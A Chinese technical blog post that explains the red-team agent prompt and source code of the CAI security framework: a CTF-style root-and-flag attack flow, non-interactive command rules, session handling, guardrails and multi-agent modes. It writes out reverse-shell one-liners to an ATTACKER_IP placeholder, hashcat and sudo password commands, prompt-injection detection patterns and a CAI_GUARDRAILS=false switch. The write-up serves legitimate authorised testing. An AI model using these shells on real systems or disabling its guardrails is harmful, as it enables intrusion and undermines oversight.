
CAI 红队 Agent 系统提示词深度解析从网络枚举到提权的自动化渗透实践【免费下载链接】caiCybersecurity AI (CAI), the framework for AI Security项目地址: https://gitcode.com/GitHub_Trending/cai3/cai导读本文以 Cybersecurity AI (CAI) 框架中红队 Agent 的系统提示词system_red_team_agent.md为骨架完整剖析红队 Agent 的角色定位、攻击执行流程与非交互式执行铁律并结合源码深入讲解generic_linux_command会话管理机制、安全护栏guardrails与多 Agent 协作模式。读完本文你将掌握如何在 CAI 中驱动一个以获取 root 权限并找到 flag为目标的自动化红队 Agent理解其底层命令执行与防御机制并能够在 CTF 攻防与渗透测试场景中正确使用和调优它。一、红队 Agent 的角色定位与设计目标在 CAICybersecurity AIAI 安全框架中红队 Agent 是一个高度专门化的安全代理其核心使命是系统渗透与权限提升。从 system_red_team_agent.md 的定义看它的首要目标非常明确获得 root 访问权限并找到 flag。它被赋予的能力矩阵覆盖了渗透测试的标准攻击链能力域说明网络扫描与枚举Network scanning and enumeration对目标资产进行信息收集确定开放端口、存活主机与服务指纹服务利用Service exploitation识别并利用目标服务的已知漏洞口令攻击与暴力破解Password attacks and brute forcing对认证机制发起口令猜测与爆破权限提升技术Privilege escalation techniques从低权限用户向 root/管理员权限横向跃迁后渗透任务Post exploitation tasks在获得权限后收集 flag、敏感数据并维持访问这一角色在代码中被实现为redteam_agent位于 red_teamer.py其描述为在安全评估中模拟红队成员精通网络安全、侦察与利用Agent that mimics a red teamer in a security assessment. Expert in cybersecurity, recon, and exploitation.与提示词中定义的目标完全一致。二、针对每个目标的五阶段攻击流程提示词规定对于每一个目标红队 Agent 都必须遵循固定的攻击节奏不可跳步、不可浅尝辄止执行全面枚举Perform thorough enumeration枚举是一切攻击的前提目标越熟悉后续利用越精准识别脆弱服务与错误配置Identify vulnerable services and misconfigurations包括过期服务版本、默认口令、不安全的文件权限、SUID 二进制、可写的 cron 任务等执行定向利用Execute targeted exploits针对已识别的漏洞发起精确攻击而非盲目扫描提升权限Escalate privileges以内核漏洞、sudo 配置、SUID 文件、错误权限等为跳板获取 root搜索 flag 与敏感数据Search for flags and sensitive data在文件系统、环境变量、数据库与日志中定位目标文件。两个贯穿始终的元规则值得注意永不停止迭代直到获得 root 访问权限You never stop iterate until root access is achieved提示词要求 Agent 具备持续进攻的韧性卡住时返回 thought agent 寻求新思路If stuck, return to thought agent for new approach这正是 CAI 多 Agent 协作的体现——红队 Agent 并非孤军作战而是与专门负责分析规划的 ThoughtAgent 组成闭环red_team.py 中注册了_thought_agent_copy.handoffs.append(_redteam_handoff)与红队回传给思考 Agent 的通道构成一个执行 → 卡壳 → 换思路 → 再执行的循环式swarm协作网络。此外提示词还要求 Agent 遵守纪律性行为准则不要反复尝试同一方法Dont try the same approach repeatedly一次只执行一条命令Execute one command at a time记录所有发现与进展Document all findings and progress为后续的报告生成与复盘提供依据。三、非交互式执行的铁律提示词中用大量篇幅强调了一组关键约束这是红队 Agent 区别于人工渗透的核心设计哲学Agent 环境中的命令必须是一次性、非交互的。原因在于交互式命令会阻塞等待用户输入导致 Agent 卡死。具体约束逐条解析如下3.1 禁止陷阱式交互命令Never execute interactive commands that trap user input All commands must be one-shot, non-interactive executions任何会进入交互提示、等待 stdin 的命令都必须规避或改写为非交互形态。3.2 使用自动化替代品禁用hash-identifier改用hashidhash-identifier依赖交互式菜单选择hashid支持命令行参数直接输出识别结果适合 Agent 环境口令破解只允许 hashcat且必须使用非交互模式-a参数指定攻击模式如-a 0字典攻击、-a 3掩码攻击避免进入 hashcat 的交互式界面。# hashid 一次性识别哈希类型非交互 hashid $6$rounds656000$... # hashcat 非交互模式-a 0 字典攻击--force 跳过环境检查 hashcat -m 1800 -a 0 hash.txt rockyou.txt --force --potfile-pathpot.txt3.3 反向 Shell 与 Web Shell 的一行式写法获得代码执行后提示词要求使用单行反向 shell 或 web shell而不是进入交互式终端# 一行式反向 shell bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01 # 或使用 netcat nc ATTACKER_IP 4444 -e /bin/sh这些单行命令配合下文介绍的会话管理机制即可在不阻塞 Agent 的前提下维持交互通道。3.4 管道输入替代交互提示需要向程序提供输入时使用管道直接注入而非等待交互# 将口令列表管道给 sudo 尝试示例实际需按环境调整 printf password123\n | sudo -S id3.5 超时与批处理标志始终为可能挂起的命令指定超时timeout 10 nc -lvnp 4444能加--batch或非交互标志就加如gpg --batch、mysql --batch执行前先验证命令能否无输入地完成Validate command will complete without user input before executing。四、Shell 会话管理netcat/SSH 等长驻命令的正确打开方式长驻服务netcat 监听、SSH 连接等天然是交互/长运行的提示词为此规定了完整的会话session管理协议全部通过generic_linux_command工具完成操作调用方式说明启动会话generic_linux_command(nc, -lvnp 4444)返回会话 IDsession ID列出会话generic_linux_command(session, list)查看所有活动会话及状态读取输出generic_linux_command(session, output session_id)获取指定会话的最新输出发送输入generic_linux_command(command, args, session_idsession_id)向运行中的会话注入命令/数据终止会话generic_linux_command(session, kill session_id)结束会话释放资源提示词给出的标准工作流如下启动 netcat 监听generic_linux_command(nc, -lvnp 4444)→ 得到会话 ID检查输出generic_linux_command(session, output session_id)发送数据generic_linux_command(echo hello, session_idsession_id)用完关闭generic_linux_command(session, kill session_id)。4.1 源码层面的会话管理实现在 generic_linux_command.py 中会话管理由一套宽容解析器实现工具会对session list|output|status|kill等命令做前缀匹配且支持将动作放到session_id参数中的弹性语法例如commandsession配合session_idoutput id。底层通过 common.py 中的全局会话表ACTIVE_SESSIONS与友好 ID 映射FRIENDLY_SESSION_MAP如S1维护方便 LLM 用简短 ID 控制长驻进程。此外工具内置了交互式命令启发式检测generic_linux_command.py当首命令属于ssh、nc、python、ftp、telnet、mysql、gdb等交互式二进制列表或命令包含-i/tail -f等特征时自动转入会话模式执行同时支持env info命令查看当前执行环境CTF 沙箱、Docker 容器、SSH 远端或本机。会话命令默认超时 10 秒普通命令超时 100 秒generic_linux_command.py正是提示词始终指定超时规则的落地。五、源码级剖析红队 Agent 的装配提示词并非孤立文本它通过 red_teamer.py 被加载并装配进真实的 Agent 实例。装配逻辑如下加载提示词模板load_prompt_template(prompts/system_red_team_agent.md)从包资源中读取本提示词再由create_system_prompt_renderer包装为可注入运行上下文的指令渲染器实现见 util.py绑定工具集red_teamer.pygeneric_linux_command通用 Linux 命令执行与会话管理前文所述execute_code代码执行能力用于脚本化攻击与数据处理make_web_search_with_explanation仅当设置PERPLEXITY_API_KEY环境变量时才会附加用于漏洞情报检索挂载安全护栏get_security_guardrails()为 Agent 添加输入/输出双护栏模型配置模型名取自CAI_MODEL默认alias1API Key 取自ALIAS_API_KEY回退OPENAI_API_KEY再回退本地占位 Key支持本地模型部署。5.1 安全护栏进攻与防御并存红队 Agent 是高危 Agent因此默认启用 guardrails.py 中的双护栏可通过环境变量CAI_GUARDRAILSfalse关闭见 guardrails.py输入护栏prompt_injection_guard检测忽略先前指令以系统身份行动等注入模式、Unicode 同形字homograph绕过、base64/base32 编码的隐藏命令、命令替换与环境变量外泄企图命中超过阈值即阻断并对边界情况调用独立的检测 Agent 做 AI 判定输出护栏command_execution_guard在执行前校验 Agent 即将产出的命令拦截rm -rf /、fork 炸弹、netcat//dev/tcp反向 shell、写入/etc/等危险模式。命令执行层同样内置多层防御generic_linux_command.pyUnicode 同形字归一化西里尔/希腊字母映射回拉丁字母并 NFKD 归一、curl/wget 命令替换拦截、危险模式正则黑名单、base64/base32 解码内容检查以及对外部服务器响应的仅数据包裹处理——这确保红队 Agent 在攻击中被反制如服务器返回恶意指令时不会执行外部注入的命令。相关对抗样例可参考 examples/cai/prompt_injections 目录下的 PoC 文件与 server.py。5.2 动态实例化与并行运行通过 factory.py 的通用工厂机制红队 Agent 可以被动态克隆模型名按显式覆盖 →CAI_redteam_agent_MODEL→ 全局CAI_MODEL三级优先级解析并可在CAI_PARALLEL1时以P前缀的 agent_id 创建并行实例。测试用例 test_agent_inference.py 也验证了redteam_agent的非流式推理路径可正常被Runner.run驱动。六、多 Agent 协作与红蓝对抗模式提示词中的卡住时回退到 thought agent在模式层有多重落地红队 Swarm 循环模式red_team.py以 ThoughtAgent重命名为 Red team manager为入口与红队 Agent、DNS/SMTP 侦察 Agent 组成带 handoff 的有向图红队可随时将 DNS/DMARC/DKIM 侦察任务转交给dns_smtp_agent体现了执行与规划分离的协作范式红蓝并行共享上下文red_blue_team.pyredteam_agent与blueteam_agent以unified_contextTrue并行运行红蓝双方共享同一上下文便于攻防互证红蓝并行隔离上下文red_blue_team_split.py双方各自独立上下文避免信息互相污染攻防并行offsec.pyredteam_agent与bug_bounter_agent以不同上下文并行覆盖红队渗透 漏洞赏金双视角。这些模式与提示词共同构成了 CAI 中单一红队 Agent 执行 多 Agent 编排兜底的攻防体系。七、运行红队 AgentCLI 与环境变量在 CLI 中运行红队 Agent 的典型方式见 cli.py 中的用法示例# 针对 CTF 挑战运行红队 Agent CTF_NAMEhackableii CAI_AGENT_TYPEredteam_agent \ CTF_INSIDEFalse CAI_MODELalias1 \ CAI_TRACINGfalse cai # 并行运行 3 个红队 Agent 实例 CTF_NAMEhackableII CAI_AGENT_TYPEredteam_agent \ CAI_MODELalias1 CAI_PARALLEL3 cai # 关闭护栏仅在受控实验环境不推荐生产使用 CAI_GUARDRAILSfalse CAI_AGENT_TYPEredteam_agent cai常用相关环境变量小结变量作用默认值CAI_AGENT_TYPE指定 Agent 类型redteam_agent—CAI_MODEL模型名alias1ALIAS_API_KEY/OPENAI_API_KEYAPI 密钥本地占位 KeyPERPLEXITY_API_KEY启用联网漏洞情报搜索工具未设置则不启用CAI_PARALLEL并行实例数1CAI_GUARDRAILS是否启用输入/输出安全护栏trueCAI_STREAM是否流式输出命令结果true八、实践要点与常见误区会话必须闭环启动 netcat/SSH 会话后务必在任务结束时session kill避免僵尸会话占用资源读取输出用session output id而非重开命令。命令一律加超时Agent 环境的命令默认超时会话 10s、普通 100s对可能挂起的扫描与监听务必显式使用timeout包裹。不要把交互命令硬塞给 Agenthash-identifier、未加-a的 hashcat、裸ftp/telnet都会被拦截或卡死务必使用非交互替代品。警惕命令被护栏拦截rm -rf /、fork 炸弹、nc ... -e /bin/sh等危险模式会被输出护栏直接阻断在合法授权测试中应改用受控端口与白名单环境而非试图绕过护栏。卡壳时利用协作提示词明确要求卡住时交回 thought agent在 swarm 模式下这是自动完成的单人模式可手动切换 Agent 获取新思路。红队 Agent 的系统提示词是 CAI 攻防能力的浓缩它以获取 root 与 flag为终局目标用非交互执行铁律约束 Agent 的每一个动作以会话管理协议驯服长驻命令再以输入/输出双护栏保障攻击过程中的自身安全。理解这份提示词就理解了 CAI 红队 Agent 从能攻击到安全地、可持续地自动化攻击的全部设计逻辑。【免费下载链接】caiCybersecurity AI (CAI), the framework for AI Security项目地址: https://gitcode.com/GitHub_Trending/cai3/cai创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考